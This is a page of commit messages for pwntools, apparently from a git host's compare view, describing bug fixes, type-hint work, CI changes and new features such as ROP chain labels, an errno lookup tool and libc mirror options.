Compare commits

...
323 Commits
Author SHA1 Message Date
Yahya Kayaal af4918c43f Fix NameError in submit_flag and Kernel.enable_uart (#2798)
* Fix NameError in submit_flag and Kernel.enable_uart

* Add changelog entry for #2798
2026-11-02 18:32:53 +01:00
Eapp1e 01f5cf08d7 feat(errno): resolve errno values for the requested context (#2788) (#2789)
`pwn errno` only ever consulted the host's errno module, so numbers from a
target of a different architecture were reported as unknown (131 is
ECONNRESET on mips but unused here).

Add -c/--context, built on the same context_arg helper as asm, constgrep and
cyclic: number and name lookups now resolve against pwnlib.constants for the
requested os/arch, and --list/--search honour the flag too. --search also
matches errno names, so the flag stays useful on hosts whose strerror cannot
spell out the target's codes.

Covered with three inline doctests, as TESTING.md asks for.
2026-11-02 08:02:18 +01:00
peace-maker b83a0ddc8c Test on Python 3.15 (#2792)
* Test on Python 3.15

* Use `RLIM_INFINITY` instead of `-1` constant for rlimit modification

Python 3.15 warns against using negative values instead of the constant:

DeprecationWarning: Use RLIM_INFINITY instead of negative limit value.

It has been available since Python 2.

* Update CHANGELOG
2026-10-30 14:16:56 +01:00
Lim Jooyoung f8432266cd docs: fix argument names in regsort, ROP.raw and SSHPath docstrings (#2793)
* docs: fix argument names in regsort, ROP.raw and SSHPath docstrings

regsort documented random instead of randomize, ROP.raw documented data
instead of value, and SSHPath documented name instead of path.

* Add PR number to CHANGELOG entry

* docs: remove changelog entry for docstring fixes
2026-10-29 13:08:20 +01:00
Peace-Maker a3890a57f2 Merge branch 'beta' into dev 2026-10-27 14:55:24 +08:00
Adil Alperen Çiftci 928d2d36df fix(encoders): handle xor_pair failure and encoder fallback (#2005) (#2780)
* fix(encoders): register ascii_shellcode for i386 and handle xor_pair failure (#2005)

* docs: add PR 2780 changelog entry

* test(encoders): add doctest regression coverage

* fix(encoders): escape null bytes in printable doctest

* test(encoders): move regression coverage to doctests

* fix(encoders): dont register ascii encoder by defualt

* docs(encoders): drop stael ascii reg changelog claim

* fix(encoders): preserve existing byte filtering behavior

---------

Signed-off-by: Adil Alperen Çiftci <[email protected]>
2026-10-26 07:58:11 +01:00
peace-maker d8d47977ac gdb.corefile: Run gdb directly to prevent detach race (#2787)
* gdb.corefile: Run gdb directly to prevent detach race

`attach()` waits for the debugger to attach by polling the `TracerPid` regularly. `corefile()` runs `detach` in gdb after dumping the core, so the debugger might attach and detach between two `TracerPid` polls and `wait_for_debugger()` thinks gdb exited before attaching and returns `None` as gdb's pid is no longer valid.

Later `corefile()` ran `psutil.Process(pid).wait()` with `pid = None` which effectively waited on the Python process itself to exit.
This caused a hang in the doctest CI sometimes, which was killed by the watchdog timer eventually.

Run `gdb` directly and just observe the exit code instead of relying on the more advanced `attach` logic for longer running debug sessions.

* Update CHANGELOG
2026-10-26 06:15:28 +00:00
Max Freedom Pollardandpeace-maker 3daf28b6be fix(packing): dd() raises TypeError on a bytearray destination (#2772)
* fix(packing): dd() raises TypeError on a bytearray destination

dd() documents bytearray as a supported destination type, but
dd(bytearray(b'Hello!'), b'?', skip=5) raises
"TypeError: 'bytes' object cannot be interpreted as an integer".

pwnlib/util/packing.py:1108 handled list and bytearray destinations in a
single branch and filled both with list(map(p8, bytearray(src))). p8()
returns a length-1 bytes object, which is what a list destination is
documented to hold (see the existing dd(list('Hello!'), (63,), skip=5)
doctest), but a bytearray slice assignment needs an iterable of int, so
every bytearray destination crashed.

Assign the byte string src directly when the destination is a bytearray.
Every src branch above the destination dispatch (packing.py:1039-1089)
has already reduced src to a byte string, so the slice assignment is
always valid. This also makes a bytearray destination agree with the
bytes and str destinations, which already copy src verbatim.

Add a doctest covering the returned value and the in-place update of the
caller's bytearray.

* Add changelog entry for #2772

---------

Co-authored-by: peace-maker <[email protected]>
2026-10-24 12:15:03 +02:00
h4kk4p4kk4andpeace-maker f4b3e6e1c4 fix(elf): prevent elf.libc returning the executable when its name starts with libc[.-] (#2781)
Co-authored-by: peace-maker <[email protected]>
2026-10-24 12:12:47 +02:00
c2b9afc472 feat(cli): add 'pwn errno --list' + perror-string lookup (#2657) (#2727)
* feat(cli): add 'pwn errno --list' / -l + perror-string fallback (#2657)

- '--list / -l': dump every known errno (value, name, strerror message).
- '--search / -s': force perror-substring match (case-insensitive).
- Bare 'pwn errno <text>' falls back to a perror substring search when the
  argument is neither an integer nor a known errno macro name. So
  'pwn errno "Cannot allocate memory"' now prints ENOMEM directly.
- Positional 'error' arg is now optional so '--list' can be used alone;
  argparse explains the requirement when neither is supplied.

Closes #2657

* Update CHANGELOG.md for #2727

* Add type hints to errno commandline tool

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-10-24 12:00:21 +02:00
Taranandpeace-maker 4904b537bf fix: don't truncate the last byte of FileStructure.struntil (#2761)
* fix: don't truncate the last byte of FileStructure.struntil

* changelog: add entry for #2761

---------

Co-authored-by: peace-maker <[email protected]>
2026-10-24 11:46:51 +02:00
colinthebomb1andArusekk 12c7072a77 memleak: add opt-in persistent leak cache (#2741)
* memleak: add opt-in persistent leak cache via cache_file

* memleak: document cache_file and add a persistence doctest

* simplify doctest

* add changelog

---------

Co-authored-by: Arusekk <[email protected]>
2026-10-24 11:21:47 +02:00
Toniandpeace-maker 78d1809580 fix: Fix DeprecationWarning when setting ssl=True in remote() (#2750)
* fix: Fix DeprecationWarning when setting ssl=True in remote()

The current code initializes SSLContext with `ssl.PROTOCOL_TLSv1_2`, which has been deprecated for a while now

This should be the correct fix according to the documentation (https://docs.python.org/3/library/ssl.html#ssl.SSLContext)

* Update CHANGELOG

* Fix the new ssl thing, document a way to disable cert verification

---------

Co-authored-by: peace-maker <[email protected]>
2026-10-24 11:09:05 +02:00
Max Freedom PollardandPeace-Maker 2b39684912 Disable debuginfod doctests in libcdb.unstrip_libc on stable (#2773)
* Disable debuginfod tests in libcdb.unstrip_libc

The external debuginfod servers are really slow or won't respond at all like debuginfod.ubuntu.com.
The caching in CI doesn't help since we only cache it for 3 month and the query fails afterwards most of the time. We cache the negative response too which doesn't help if the service is flakey itself :D

(cherry picked from commit 86cafce196)

* Add changelog entry for #2773

---------

Co-authored-by: Peace-Maker <[email protected]>
2026-10-21 20:04:53 +02:00
Sharique Ahmad 99a4fe5596 docs: put plain doctest blocks in the default group for Sphinx 9 (#2784)
* docs: put plain doctest blocks in the default group for Sphinx 9

doctest_test_doctest_blocks is the group name plain >>> blocks are
assigned to. Sphinx < 9 ignored it and always used "default"; Sphinx 9.0
honours it (sphinx-doc/sphinx#13858), so our 'true' moved every plain
block into a group named "true" while `.. doctest:: :hide:` blocks stayed
in "default". The two groups run separately, so hidden context.clear()
calls no longer ran between the examples around them.

Fixes #2711

* Update CHANGELOG for #2784
2026-10-17 16:12:16 +02:00
peace-maker 1429a134ec Fix more global type errors (#2770)
Fix most of the type errors in global scope before enabling type checks on untyped functions.
2026-09-03 11:43:35 +02:00
Arusekk c8645fef4c Fixup homebrew docs
Ref: #2768
2026-08-30 09:24:09 +02:00
Waasila AsifandArusekk be8b5480db Added the homebrew workaround in documentation (#2768)
* Added the homebrew workaround in documentation

* Logged PR in CHANGELOG.d

* install.rst: wording

---------

Co-authored-by: Arusekk <[email protected]>
2026-08-28 18:55:35 +02:00
Rogdham d9eff01662 Use compression.zstd (PEP-784) (#2769)
* Use compression.zstd (PEP-784)

* Add changelog entry
2026-08-28 13:54:23 +02:00
Peace-Maker b22998ab12 Re-export toplevel imports in pwn
Help linters to know what to expect when importing `from pwn import *`
2026-08-16 21:47:50 +02:00
d41db1ff27 feat(libcdb): use local debuginfod client cache before hitting servers (#2623) (#2726)
* feat(libcdb): use local debuginfod client cache before hitting servers (#2623)

If gdb / eu-debuginfod-find / abrt has already downloaded the matching
debuginfo for our libc's build-id (cached at $DEBUGINFOD_CACHE_PATH or
$XDG_CACHE_HOME/debuginfod_client/ or ~/.cache/debuginfod_client/),
unstrip_libc() now reuses it directly instead of doing another network
round-trip via debuginfod servers. Validated by ELF magic so non-ELF
junk in the cache is ignored.

Closes #2623

* Update CHANGELOG.md for #2726

* Check our own cache before looking at debuginfod-client

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-08-16 21:07:10 +02:00
Scott Laglerandpeace-maker 5efe909a91 Add Type Annotations for parts of pwnlib/util (#2679)
* Add Type Annotations for parts of pwnlib/util

* fix: use Callable in pwnlib/util/lists.py

* fix: Import Errors

* fix: use getLogger in pwnlib/util/net

* feat: use collections.abc.Buffer where appropriate

* fix: remove collections.abc.Buffer to use Sequence

* add CHANGELOG.md entry

* Improve packing and fiddling types

* Introduce own `BytesLike` type instead of 3.12 Buffer

* Improve web.wget types

* Use TypedDict in util.net

Specify generics properly.

* Improve pwnlib.proc types

* Improve pwnlib.util.lists types

* Fix util.splash types

* Make TypeVars private

* Improve util.hexdump types

* Remove partial types from packing.fit/flat

Those require more work to be useful.

* Fix implicit wget return

* Fix term.text type export

* Fix js_escape return type

* Fix sh_string doctest types

* Fix usage of ssh_channel as ssh_process

We access the pid, so a plain ssh_channel is not enough.

* Improve util.lists types

* Improve packing.dd types

* Fix relying on socket.AddressFamily type at runtime

The type is only in typeshed and not the real socket module. Don't access it at runtime, only at type checking.

* Fix lists.findall with string needle

* Fix dd on two files

* Update mypy-baseline.txt

* Remove testing artifacts from mypy-baseline.txt

---------

Co-authored-by: peace-maker <[email protected]>
2026-08-16 19:45:40 +02:00
Peace-Maker 29c20ddf6e Skip ssh.ibt doctest since some runners appear to support it now 2026-08-16 12:16:19 +02:00
peace-maker b309e102ba Support paginated libc.rip API requests (#2767)
* Support paginated libc.rip API requests

libc.rip used to truncate the result set but supports pagination now. Fetch all results reliably now by requesting all pages.

Fixes #2651

* Update CHANGELOG
2026-08-16 11:30:55 +02:00
Peace-Maker 7f891444b9 Add types-docutils to dev dependencies 2026-08-09 23:31:19 +02:00
dependabot[bot] 76da472406 build(deps): bump the github-actions group across 1 directory with 3 updates (#2763)
Bumps the github-actions group with 3 updates in the / directory: [actions/checkout](https://github.com/actions/checkout), [actions/cache](https://github.com/actions/cache) and [actions/setup-python](https://github.com/actions/setup-python).


Updates `actions/checkout` from 6 to 7
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v6...v7)

Updates `actions/cache` from 5 to 6
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v5...v6)

Updates `actions/setup-python` from 6 to 7
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
- dependency-name: actions/cache
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
- dependency-name: actions/setup-python
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-09 11:35:58 +02:00
Taran 508283eac1 fix(srop): correct amd64 SigreturnFrame uc_sigmask offset (#2762)
* fix(srop): correct amd64 SigreturnFrame uc_sigmask offset

* changelog: add entry for #2762
2026-08-02 18:53:22 +02:00
citizen204 de073eb151 docs(args): clarify reserved args (DEBUG/NOASLR) map to context, not args (#2753)
* docs(args): clarify reserved args map to context, not args.NOASLR

Reserved magic arguments such as DEBUG and NOASLR are consumed as hooks
that adjust context (context.log_level, context.aslr) and are never
stored in the args dict, so args.NOASLR is always the empty string.

The pwnup template comment previously claimed these settings 'show up
in args', which reinforced the wrong mental model and led users to
check args.NOASLR instead of context.aslr. Clarify both the template
comment and the pwnlib.args module docstring.

Fixes #2564

* docs: add changelog entry for args/pwnup.mako docstring clarification

CI requires a CHANGELOG.md entry for changes touching pwnlib/args.py
and pwnlib/data/templates/pwnup.mako.
2026-07-25 08:14:33 +02:00
peace-makerandChristian Clauss 6571ec7de5 Add support for debugging with x64dbg on Windows (#2735)
* Add support for debugging with x64dbg on Windows

Add x64dbg option to `context.debugger` to attach using x64dbg in `windbg.debug()`.

The path to the x96dbg.exe is looked up in the path and through the "Debug with x64dbg" shell extension you can install optionally when first launching the x96dbg.exe launcher.
You can specify the path using `context.x64dbg_binary` too.

* Refactor exclusion of `context.debugger="auto"` while handling `"auto"`

Co-authored-by: Christian Clauss <[email protected]>

* Update CHANGELOG

* Remove absolute path workaround

x64dbg 2026.05.27 fixed passing absolute paths to a script file using -cf.

* Remove bare raise

log.error raises already.

* Fix linting error of winreg import on linux

The module is only available on Windows. So ignore the error when linting on another platform.

---------

Co-authored-by: Christian Clauss <[email protected]>
2026-07-05 23:47:24 +02:00
Peace-Maker 86cafce196 Disable debuginfod tests in libcdb.unstrip_libc
The external debuginfod servers are really slow or won't respond at all like debuginfod.ubuntu.com.
The caching in CI doesn't help since we only cache it for 3 month and the query fails afterwards most of the time. We cache the negative response too which doesn't help if the service is flakey itself :D
2026-07-05 23:22:27 +02:00
peace-maker cded3cf1e5 ROP: Add labels to reference addresses relative to your chain (#2734)
* ROP: Add labels to reference gadgets dynamically

Allow to assign a name to a point in the ROP chain using `ROP.setlabel(name)`
and reference it somewhere else using `ROP.uselabel(name, offset)`.
You have to know the location of your chain in memory to resolve the
right addresses. This allows to specify addresses relative to your ROP chain payload in your chain.

Refs #2583

* Update ret2dlresolve test output

* Update CHANGELOG

* Rename functions to `label` and `ref`

This is less verbose than `setlabel` and `uselabel` but still descriptive enough to be able to guess what they do.
2026-07-04 18:39:10 +02:00
09fbd3a681 fix: replace bare except with except Exception (#2743)
* fix: improve exception handling in process.py and adb.py

- process.py: restore bare except with pylint disable (intentional: catches
  non-Exception errors during Python interpreter shutdown)
- adb.py: use specific (OSError, EOFError) instead of broad except Exception

* fix: add missing import for remote in adb.py

The bare except was silently catching NameError from the missing
remote import. Added 'from pwnlib.tubes.remote import remote' to
fix the actual underlying bug.

* docs: add changelog entry for PR #2743

* docs: move changelog reference link near 5.0.0 release section

* fix: catch PwnlibException in emulator AVD name lookup

The bare except was catching PwnlibException raised by remote() when
connection fails. Replacing with except (OSError, EOFError) caused
PwnlibException to propagate, potentially causing retry loops in
Android CI.

Fix by adding PwnlibException to the exception tuple.

* fix: prevent __getattr__ infinite recursion with context.device setter

When context.device setter accesses device.arch, it triggers AdbDevice's
__getattr__ (instead of the arch property). __getattr__ then calls
context.local(device=self), which triggers the setter again, causing
infinite recursion.

Fix: check if the attribute exists on the class via MRO.__dict__
before entering the context.local() path. This lets Python's normal
property resolution handle class-defined attributes.

* revert: remove __getattr__ MRO guard

Peace-maker correctly points out that __getattr__ is only called when
normal attribute lookup fails, so the MRO guard is unnecessary.
The infinite recursion is a pre-existing bug unrelated to this PR.

* Assign to `_avd` instead of `avd`

---------

Co-authored-by: mshzy <[email protected]>
Co-authored-by: peace-maker <[email protected]>
2026-06-27 23:42:54 +02:00
九条涼果 2ec3fe6ac0 fix(ssh): ssh.which returning None for POSIX paths when running on Windows (#2732)
* fix(ssh): use POSIX separator for path detection in ssh.which

On Windows, `os.path.sep` is '\\', which fails to detect POSIX paths.
Hardcoding '/' ensures consistent path detection since the `ssh`
module targets POSIX-compliant systems.

* Update CHANGELOG.md

* feat(context): add path_sep and pathlist_sep to context, make the path seperator dependent on the context.os

* fix(ssh): declare path separator as private member in ssh

* fix(ssh): remote path handling with pathlib

* fix(ssh): replace os.path.basename functions with pathlib for path handling

* fix(ssh): ensure remote paths are decoded to str
2026-06-26 11:47:38 +02:00
Carlos Luna-Penaandpeace-maker f4205e5e9e Guide users to libc_start_main_return for __libc_start_main_ret (#2746)
* guide users to libc_start_main_return for __libc_start_main_ret

looking up __libc_start_main_ret on ELF(libc).sym just threw a plain
KeyError/AttributeError even though libcdb shows that symbol, which is
confusing (issue 2563). it's not a real symbol so we can't just add it,
and computing it means disassembling __libc_start_main which we don't
want to do for everyone by default.

so for now the symbols dotdict raises a message pointing at the existing
ELF.libc_start_main_return property when you ask for that key. lazy auto
calc can come later. added a doctest covering both sym['...'] and
sym.__libc_start_main_ret access, tests pass.

* use bare super() in symboldict

peace-maker noted new code can use py3 super(), so drop the
redundant (symboldict, self) args.

* add changelog entry for 2746

---------

Co-authored-by: peace-maker <[email protected]>
2026-06-22 19:18:15 +02:00
peace-maker 6221f41a45 Fix libcdb CI cache not forwarding URI path (#2749)
The nginx docs say that you have to specify the $request_uri manually when a variable is used in the `proxy_pass` value.
Since we just put `/` at the end, all requests were rewritten to `/` instead of the intended e.g. `/api/find` endpoints.

https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

This broke in #2718 but didn't manifest right away since the responses were still cached in CI. Now after the cache expired the fetch failed.
2026-06-22 19:16:52 +02:00
colinthebomb1 4c39ca92f2 setup: install docs to FHS-compliant share/doc/pwntools (#2740)
* setup: install docs to FHS-compliant share/doc/pwntools

* changelog: add entry for #2740
2026-06-02 18:30:21 +02:00
Carlos Luna-Pena 57de79f0e3 fix #2737: pwnlib.shellcraft submodule imports on python 3.12+ (#2739)
* shellcraft: migrate lazy importer to find_spec for py3.12+

* shellcraft: changelog entry + mypy baseline sync for #2739
2026-05-31 00:03:11 +02:00
peace-maker 5c37c2477b Add type hints to pwnlib.log (#2738) 2026-05-30 23:15:26 +02:00
peace-maker fb35a123b4 Fix some global type hint errors (#2736)
* Fix some global type hint errors

Errors in global scope should be fixed before we're enabling strict mode in mypy and tackle the local problems.

* Remove pwnlib.util.pairwise since it's in itertools now

pairwise was added to itertools itself in 3.10.
https://docs.python.org/3/library/itertools.html#itertools.pairwise
2026-05-28 17:16:27 +02:00
xtex b0e224b02c loongarch64: prefer assembler macros (#2733)
It turned out that the generator I wrote previously
was incorrect. The assembler pseudo-instruction
should work.
2026-05-26 10:14:26 +02:00
peace-maker 658479605b Fix atexception handlers in term mode (#2730)
* Fix atexception handlers in term mode

The colored-traceback module registers its own `sys.excepthook` but doesn't call the original handler.
Reorder the includes such that the colored-traceback is setup before and our own hooks afterwards.
We always call the old excepthook and forward the exception to the colored-traceback after firing our own handlers.

It worked before in non-term mode when stderr wasn't a tty and colors were disabled.

* Update CHANGELOG

* Import atexception in doctests
2026-05-21 15:59:17 +02:00
Arusekk c05fc99200 no atexit, OS will suffice 2026-05-15 00:21:44 +02:00
Arusekk 5d48acaa6b rop: simplify logging 2026-05-14 23:31:10 +02:00
4e1780781f feat(libcdb): add extra_mirrors arg + PWN_EXTRA_LIBC_MIRRORS env to download_libraries (#2666) (#2725)
* feat(libcdb): add extra_mirrors arg + PWN_EXTRA_LIBC_MIRRORS env to download_libraries (#2666)

When the libc.rip URL points at a deb.debian.org / archive.ubuntu.com /
security.debian.org URL whose package has been pulled (e.g. older
vulnerable libc versions like 'GLIBC 2.36-9+deb12u6'), download_libraries
now also tries the same /pool/... path against any user-supplied mirror
prefix(es). Mirrors can be passed via the new keyword argument
extra_mirrors=... (str or list) or the comma/whitespace-separated
PWN_EXTRA_LIBC_MIRRORS environment variable.

Closes #2666

* Update CHANGELOG.md for #2725

* Rename environment variable to `PWNLIB_EXTRA_LIBC_MIRRORS`

All our other user-facing environment variables are `PWNLIB_` instead of `PWN_`.

* Move `import re` to toplevel

* Add type hints to touched functions

* Add example usage for download_libraries with extra_mirrors parameter

* Fix envvar in CHANGELOG

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-05-07 18:17:22 +02:00
peace-makerandCopilot 79ca9a962c Add type hints to timeout, term.text, hashes, and more (#2723)
* Add typehints to timeout module

Co-authored-by: Copilot <[email protected]>

* Add typehints to device class

* Add typehints to PwnlibException

* Add general typehints for term.text module

Since the available module attributes are handled dynamically like `text.green()` or `text.green_on_white()` or `text.underline_red()`, it's not feasible to type out all possible combinations.

Just tell the type checker that all module attibutes have the same type and thus avoid the `error: Module has no attribute "bold_blue"  [attr-defined]` errors.

* Add typehints for config module

* Add typehints for hashes module

The guaranteed algorithms in hashlib are pretty stable and we can generate the list out proper type checking and auto complete.

Still add a check in CI that notifies us if there are changes in the future.

* Add atexception and atexit types

atexception.unregister was not documented correctly since the function expects an identifier returned by `atexception.register` instead of the handler function.

* Fix toplevel type hints in shellcraft.internal

* Fix toplevel type hints in term.key

---------

Co-authored-by: Copilot <[email protected]>
2026-05-07 14:37:29 +02:00
RocketDevandPeace-Maker 9871b5a112 Add atexit functions for glibc exploits (#2683)
* feat: implement basic Exit*

* feat: add docs and doc test to exit func classes

closes #2633 #2637

* fix: add missing line; fix doc test

* chore: update changelog

* fix: remove function signature in docs

Sphinx will automatically resolve it via Python code

* feat: Add source code refs, fix typos

* fix: correct escapes to suppress warning

* feat: add implementation of `struct dtor_list`

* feat: add exit-handler example

* refactor: standardize repr class name

* Fix types and docs

* Fix links in docs

---------

Co-authored-by: Peace-Maker <[email protected]>
2026-05-07 12:21:31 +02:00
ChrisJr404andChris b0d6dcfab8 safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14) (#2722)
* safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)

* changelog: add entry for #2722 (safeeval Python 3.14 opcodes)

* ci: retrigger after transient libcdb network failure

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
2026-05-02 10:27:16 +02:00
OriPandPeace-Maker 52a354b316 Don't cache username in ssh checksec output (#2702)
* add ":" to Distro string

* Update cache file path to include username

Include username in cache file path for better uniqueness.

* Added public_key+fingerprint for ssh class & Modified ssh checksec_cache path to be more unique & checksec is per ssh server and not attached to a user

* Fix typeo

* Revert indentation to 10 chars

* ssh: Fix downloading data to tmp on Windows

Allows the checksec output of the target server to be generated.
Filenames cannot contain a colon ":".

* Update CHANGELOG

---------

Co-authored-by: Peace-Maker <[email protected]>
2026-04-29 07:48:54 +02:00
RocketDev bf68cc1e36 Refactor zsh completion script and deprecate -e in pwn asm (#2689)
* refactor: optimize completion script

And deprecate an interface

* chore: update changelog

* refactor: full patch of zsh comp script

* fix: add missing message in output

* fix: a typo and a missing help

* feat: allow -l to match multiple arguments

* feat: optimize completion logic

1. move all complicated functions in front of pwn()
2. add file completion for libcdb subcommands
3. add completion for pwn errno
2026-04-29 07:29:49 +02:00
Peace-Maker 0304039a07 Merge branch 'beta' into dev 2026-04-27 18:29:25 +02:00
peace-maker 7e5e79d00f Allow running with Unicorn 2.1.[34] but throw when emulating MIPS (#2721)
* Allow running with Unicorn 2.1.[34] but throw when emulating MIPS

Unicorn 2.1.5 wasn't released for a while and 2.1.2 doesn't have binary wheels for Python 3.14.
This made installing pwntools on newer Python versions more annoying since you had to build Unicorn yourself.

The only problem with the blocked versions is MIPS emulation, so only avoid that while allowing to use Unicorn 2.1.3 or 2.1.4 for other architectures.

Refs #2621

* Update CHANGELOG
2026-04-27 18:23:01 +02:00
九条涼果 b4481e1843 fix(ssh): resolve PermissionError on Windows during SFTP upload (#2720)
* fix(ssh): resolve PermissionError on Windows during SFTP upload

On Windows, `tempfile.NamedTemporaryFile()` holds an exclusive lock on the file.
Previously, `sftp.put()` attempted to re-open the file by its path, causing a 
`PermissionError: [Errno 13]`. This commit replaces `put` with `putfo`, passing a file object directly to bypass the tempfile entirely.

* Update CHANGELOG.md

Update CHANGELOG.md to include new entries and links.
2026-04-27 17:29:01 +02:00
peace-maker e88054fe49 Start to check type hints gradually (#2714)
* Start to gradually add type hints

Use mypy-baseline to ignore all existing errors for now while avoiding adding new ones in new code.

* Remove Python 2 fallback imports

* Remove py2compat layer

* Avoid redefining a tube helper function

* Remove explicit new-style class (object) syntax

old-style classes were removed in Python 3 so there is no distinction anymore.

* Ignore type error in shellcraft helper script

* Fix repeatedly changing `linux_dirent.d_name`

* Avoid typechecking windows_termcap on Linux

We run mypy on Linux in CI, ignore Windows related import errors

* Run mypy-baseline in CI

* Add type hint plan to CONTRIBUTING

* Sort the mypy baseline

Run with `--sort-baseline` for better diffs.

`mypy | mypy-baseline sync --sort-baseline`

* Switch dev dependencies to dependency-groups

The dependency groups aren't baked into build metadata and won't appear on Pypi.
2026-04-27 17:09:15 +02:00
Natan-P f81578f450 Update run_in_new_terminal docstring (#2706)
* update run_in_new_terminal docstring

* added bypass note

* add note in context.terminal

* update changelog
2026-04-26 14:17:52 +02:00
zackary c59b5cd57e fix: delay upstream DNS resolution to prevent startup failures (#2718)
Use nginx variable pattern (set $upstream + proxy_pass https://$upstream)
to defer DNS resolution until first request instead of at config parse time.

This fixes the occasional 'host not found in upstream' error in CI when
nginx container starts before Docker DNS is fully available.

Fixes #2712
2026-04-19 15:28:09 +02:00
peace-maker ee49a2be76 Remove python-dateutil dependency (#2713)
* Remove python-dateutil dependency

It is only used for parsing the `ro.build.date` string in Android adb.
Since we use `ro.build.date.utc` now as primary build time source,
don't require `python-dateutil` anymore, but keep optional support.

* Update CHANGELOG
2026-04-18 11:47:33 +02:00
Peace-Maker 9ea29f336a Only upload coverage after windows and android tests ran too
The coverage fluctuated when the linux tests finished before the windows or android tests since their coverage would be missing.

So the coverage for the `adb` module went up/down randomly.

Require the windows tests to pass now too!
2026-04-14 12:59:03 +02:00
Peace-Maker b922cbbb8d Merge branch 'beta' into dev 2026-04-14 10:58:13 +02:00
Peace-Maker d5a12c12e4 Fix invalid escape sequence warnings in sphinx docs 2026-04-14 10:53:30 +02:00
ArusekkandPeace-Maker ae89355afa Fix unpack docs (#2700)
* Fix unpack docs

Closes #2684

* Apply same keyword-only marker to `unpack_many`

---------

Co-authored-by: Peace-Maker <[email protected]>
2026-04-07 17:47:19 +02:00
0xDanielandpeace-maker e551b4ae56 fix: apply force_to_bytes to readline result in non-term_mode path (#2707)
Co-authored-by: peace-maker <[email protected]>
2026-04-07 11:28:48 +02:00
dependabot[bot] ec298d27dd Bump docker/build-push-action from 6 to 7 in the github-actions group (#2708)
Bumps the github-actions group with 1 update: [docker/build-push-action](https://github.com/docker/build-push-action).


Updates `docker/build-push-action` from 6 to 7
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6...v7)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
  dependency-group: github-actions
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-04-07 11:23:24 +02:00
43ef1b494c Fix _build_date() crash on non-standard locale date strings (#2701)
* Fix _build_date() crash on non-standard locale date strings (#2513)

Some Android devices return locale-dependent strings in ro.build.date
(e.g. '2017年 11月 14日 星期二 09:55:07 CST' for Chinese locale) that
dateutil.parser.parse() cannot handle, causing wait_for_device() to
crash with a ParserError.

Fix: prefer ro.build.date.utc (integer epoch timestamp) which is
locale-independent and available on all Android devices. Fall back
to ro.build.date with error handling if the UTC property is missing.

* Add CHANGELOG entry for #2513 fix

* Simplify _build_date(): prefer ro.build.date.utc, keep minimal fallback

Address review: ro.build.date.utc is set by the AOSP build system
and available on all standard Android devices. Simplified comments
to reflect this is the primary path, with ro.build.date kept only
as a fallback for non-standard builds.

* Move CHANGELOG entry

* Fix Python 2.7 compatibility

* Disable intro doctest connecting to `ftp.ubuntu.com`

The FTP server is throttled in CI or just really slow. We already test the basic tcp tubes in the `remote` tests.

---------

Co-authored-by: coder999999999 <[email protected]>
Co-authored-by: peace-maker <[email protected]>
2026-04-07 11:09:01 +02:00
peace-maker e882c9bee6 Enable basic tubes/process test on Windows (#2616)
* Enable basic tubes/process test on Windows

Many tests are Linux specific using qemu or /proc etc. So only test the basic process interaction for now.

* Cleanup docs without using ellipsis for Windows output

* Set newline to b'\r\n' for local Windows processes

But only change it automatically if `context.newline` wasn't set manually.

* Disable process.terminate() test on Windows

Windows doesn't support sending SIGTERM to other processes.

https://docs.python.org/3/library/subprocess.html#subprocess.Popen.send_signal

* libcdb CI cache: add another dns server

[emerg] 1#1: host not found in upstream "debuginfod.elfutils.org" in /etc/nginx/nginx.conf:26

The cache should still start despite not being able to resolve some domain.
2026-04-06 18:42:17 +02:00
peace-maker 195d7d589e Add context.debugger to select which debugger to use (#2655)
* Rename `windbg.debug(windbgscript=)` parameter to dbgscript
Prepare to support more debuggers than windbg.

* Pass dbgscript in file instead of inline
This way we don't have to deal with shell escaping the dbgscript commands.

* Add `context.debugger` to select which debugger to use
Allow to choose the debugger to start when using `windbg.attach`.
By default it autodetects which debugger is available.
You can specify the path to the debuggers using
`context.windbg_binary` and `context.windbgx_binary`.

* Check if default windbg installation location exists

* Update CHANGELOG
2026-04-06 10:19:11 +02:00
be92aa1b4c fix: pad bytes fields to correct field size in FileStructure (#2694)
* fix: pad bytes fields to correct field size in FileStructure

When setting bytes fields (e.g. _IO_save_base) on FileStructure, the
value was padded to context.bytes instead of the actual field size from
self.length[val]. This caused struct.pack errors for fields whose size
differs from the pointer size.

Fixes #2693

* Cleanup test and add CHANGELOG

---------

Co-authored-by: nightcityblade <[email protected]>
Co-authored-by: Peace-Maker <[email protected]>
2026-04-05 20:37:31 +00:00
peace-maker f55f440c07 ssh: Discard stderr of lsb_release for Distro lookup (#2704)
* ssh: Discard stderr of `lsb_release`

The "No LSB modules are available." spam interferes with parsing the output for the initial checksec distro parsing when connecting to a new host.

* Update CHANGELOG
2026-04-03 21:57:27 +02:00
Peace-Maker abc6ea86ab libcdb CI cache: Resolve upstream hostnames on request
Instead of trying to resolve all of them when nginx starts and exit
if any of them fail to resolve.

